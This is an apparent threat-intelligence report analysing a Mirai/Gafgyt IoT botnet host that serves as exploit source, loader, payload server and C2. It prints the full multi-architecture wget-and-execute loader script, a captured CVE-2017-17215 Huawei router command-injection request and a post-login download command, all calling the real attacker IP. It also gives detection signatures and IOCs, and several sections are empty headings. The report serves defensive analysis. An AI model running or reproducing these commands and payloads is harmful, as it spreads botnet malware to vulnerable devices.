Mirai/Gafgyt multi-arch loader — 94.183.232.247

Executive summary

Most IoT botnet infrastructure we see splits the job three ways: one host delivers the exploit, a second serves the payloads, a third runs command-and-control. This one doesn't bother. A single IP, 94.183.232.247, has spent over a month as the exploit target, the loader, the payload host, and the C2 endpoint all at once — and it's still doing all four jobs as of this writing.

VirusTotal classifies every architecture we submitted as a Mirai/Gafgyt hybrid (33–38 of 62–64 engines flagging each sample), consistent with a commodity IoT DDoS botnet rather than a novel family. We found no public write-up naming this specific node or loader; RDAP shows the netblock was registered under a Hong Kong-registered entity on 2025-10-15, well before this loader activity began.

Threat actor profile

No named threat actor or public campaign write-up was found matching this node's binary-naming convention, loader script, or C2 port. The operator has not been attributed.

Infrastructure analysis

Distribution host

Malware analysis

Loader script (Ciabins.sh)

POSIX/bash, ~1.7–2.0 KB depending on capture (4 distinct hashes captured across the observed month — same structure, presumably rebuilt or re-templated between waves). No sandbox-evasion or anti-analysis logic was found in the script itself; it is a straightforward multi-directory, multi-architecture fetch-and-run loop:

#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.183.232.247/MIPS; chmod +x MIPS; ./MIPS; rm -rf MIPS
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.183.232.247/MIPSEL; chmod +x MIPSEL; ./MIPSEL; rm -rf MIPSEL
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.183.232.247/SH4; chmod +x SH4; ./SH4; rm -rf SH4
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.183.232.247/X86_64; chmod +x X86_64; ./X86_64; rm -rf X86_64
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.183.232.247/I686; chmod +x I686; ./I686; rm -rf I686
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.183.232.247/POWERPC; chmod +x POWERPC; ./POWERPC; rm -rf POWERPC
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.183.232.247/I586; chmod +x I586; ./I586; rm -rf I586
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.183.232.247/M68K; chmod +x M68K; ./M68K; rm -rf M68K
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.183.232.247/SPARC; chmod +x SPARC; ./SPARC; rm -rf SPARC
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.183.232.247/ARMV4L; chmod +x ARMV4L; ./ARMV4L; rm -rf ARMV4L
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.183.232.247/ARMV5L; chmod +x ARMV5L; ./ARMV5L; rm -rf ARMV5L
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.183.232.247/ARMV6L; chmod +x ARMV6L; ./ARMV6L; rm -rf ARMV6L
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.183.232.247/ARMV7L; chmod +x ARMV7L; ./ARMV7L; rm -rf ARMV7L
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://94.183.232.247/ARC; chmod +x ARC; ./ARC; rm -rf ARC

Each line tries five fallback working directories in order, then fetches, marks executable, runs, and deletes a single architecture's binary before moving to the next — the textbook Mirai bins.sh shape. Directly-captured shell commands (not routed through this script) also fetched individual architectures on their own, e.g. cd /tmp;rm -rf ARMV7L; wget http://94.183.232.247/ARMV7L; chmod 777 ARMV7L; ./ARMV7L bww — the trailing bww argument is passed to the binary on every directly-observed command and is likely a botnet/build tag rather than a functional flag.

VirusTotal — one submission per architecture

We submitted one representative sample per architecture from the most recent seeding wave (2026-07-03) for classification. All six returned a live scan within the session:

The blended mirai/gafgyt label (and its reversed gafgyt/mirai variant on the MIPS-BE sample) reflects the two families' well-documented shared code lineage rather than any ambiguity introduced by this loader — commodity engines routinely can't cleanly separate the two on IoT ELF payloads.

Behavioral sandboxing (tria.ge)

We submitted the same six samples to tria.ge for dynamic analysis. Results varied sharply by architecture, which is itself informative:

The four samples that ran successfully (ARM, x86, MIPS-LE, x86-64) all independently connected outbound to 94.183.232.247 and wrote to the DNS resolver configuration — consistent behavior across otherwise-unrelated CPU architectures, which is exactly what a shared codebase compiled for multiple targets should produce. The two failures (MIPS-BE, SH4) are sandbox emulation gaps, not evidence about the malware itself — our own detonation pipeline, which uses purpose-built QEMU images per architecture rather than a general-purpose behavioral sandbox, successfully booted and executed all of these architectures (see below).

Sandbox detonation

Our own automated pipeline runs captured ELF samples in per-architecture QEMU images with monitored network egress, initially for a short window and then, if a live outbound connection persists, for a full 12-hour dwell. Two recent seeding waves from this host — 2026-06-30 and 2026-07-03 — produced 20 unique samples across 10 architectures that our sandbox images support (ARMv4–v7, Intel i586/i686, MIPS LE/BE, Renesas SH4, x86-64). Three architectures the loader also serves — M68K, PowerPC, and SPARC — were captured but have no corresponding sandbox image, so they were not detonated.

We treat the 9 fully-silent 12-hour sessions as confirmation that 94.183.232.247:6772 is a live, reachable C2 endpoint — not dead or sinkholed infrastructure — but not as evidence of active tasking during our observation window. It's consistent with either a C2 that pushes commands on a schedule we didn't catch, one gated on a check-in we don't perform, or simply an operator who wasn't actively directing this particular batch of bots during the ~30 hours our dwells covered.

Observed TTPs — MITRE ATT&CK

Activity timeline

Exploit payload

CVE-2017-17215 — Huawei HG532 SOAP/UPnP RCE

CVE-2017-17215 is a command-injection vulnerability (CVSS 3.0: 8.8 HIGH) in the Huawei HG532 home router's UPnP SOAP service (port 37215), publicly associated with the Satori/Okiru Mirai variant's mass-exploitation wave in 2017. It remains a staple exploitation vector for commodity IoT botnets nearly a decade later. NVD's formal scoring lists a low privilege requirement, but the request we captured shows no preceding authentication step, consistent with how this CVE is exploited in the wild via the device's exposed UPnP interface. The captured request, decoded from the raw SOAP body:

<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(cd /tmp;rm -rf Ciabins.sh;wget http://94.183.232.247/Ciabins.sh;chmod +x Ciabins.sh)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

The command injection rides in the NewStatusURL field of a WANPPPConnection:1 Upgrade SOAP action, a well-documented shape for this CVE. The NewDownloadURL field's literal string HUAWEIUPNP is the CVE's canonical fingerprint marker, not a functional command.

Direct post-login command (credential brute force path)

Separately from the CVE, four sessions across four sensors captured this exact one-line command typed directly after a successful login:

cd /tmp;rm -rf ARMV7L; wget http://94.183.232.247/ARMV7L; chmod 777 ARMV7L; ./ARMV7L bww

This is the same distribution host, a different delivery path — no exploit is needed once an attacker already has a shell, which is consistent with credential brute force rather than a second CVE.

Indicators of compromise

Network IOCs

File IOCs — detonated samples (2026-07-03 wave, one per architecture)

These six are one representative per architecture from the most recent (2026-07-03) seeding wave. The remaining 14 detonated samples (four more ARM sub-variants and a matching set from the 2026-06-30 wave) share the same loader host, C2 endpoint, and VT classification pattern.

Mitigations and detection

Detection signatures

# Suricata/Snort — CVE-2017-17215 Huawei HG532 SOAP RCE attempt
alert http any any -> $HOME_NET any (msg:"CVE-2017-17215 Huawei HG532 SOAP RCE attempt"; \
  content:"/ctrlt/DeviceUpgrade_1"; http_uri; \
  content:"NewStatusURL"; http_client_body; \
  content:"WANPPPConnection"; http_client_body; \
  flow:established,to_server; sid:9930001; rev:1;)

# Suricata/Snort — loader payload delivery
alert http any any -> any any (msg:"Mirai/Gafgyt multi-arch loader download"; \
  content:"Ciabins.sh"; http_uri; \
  flow:established,to_server; sid:9930002; rev:1;)

# Suricata — outbound C2 beacon, non-standard port
alert tcp $HOME_NET any -> 94.183.232.247 6772 (msg:"Mirai/Gafgyt multi-arch loader C2 beacon"; \
  flow:established,to_server; sid:9930003; rev:1;)

Collection methodology

All data in this report was collected organically by a distributed SSH/Telnet honeypot fleet deployed across multiple cloud providers and geographic regions. Fleet nodes also run alternate-protocol lure daemons that capture exploitation attempts against commonly-targeted embedded-device services beyond SSH/Telnet, including the SOAP/UPnP endpoint used by CVE-2017-17215.

Captured payloads were fetched automatically by the fleet's ingest pipeline shortly after first observation. A subset covering every CPU architecture the sandbox supports was detonated in isolated, per-architecture QEMU environments with monitored network egress; no interaction with victim networks occurred beyond passive observation of traffic the samples themselves generated. VirusTotal and tria.ge lookups were performed via the fleet's own investigation tooling; RDAP data was queried live against the public RDAP bootstrap service.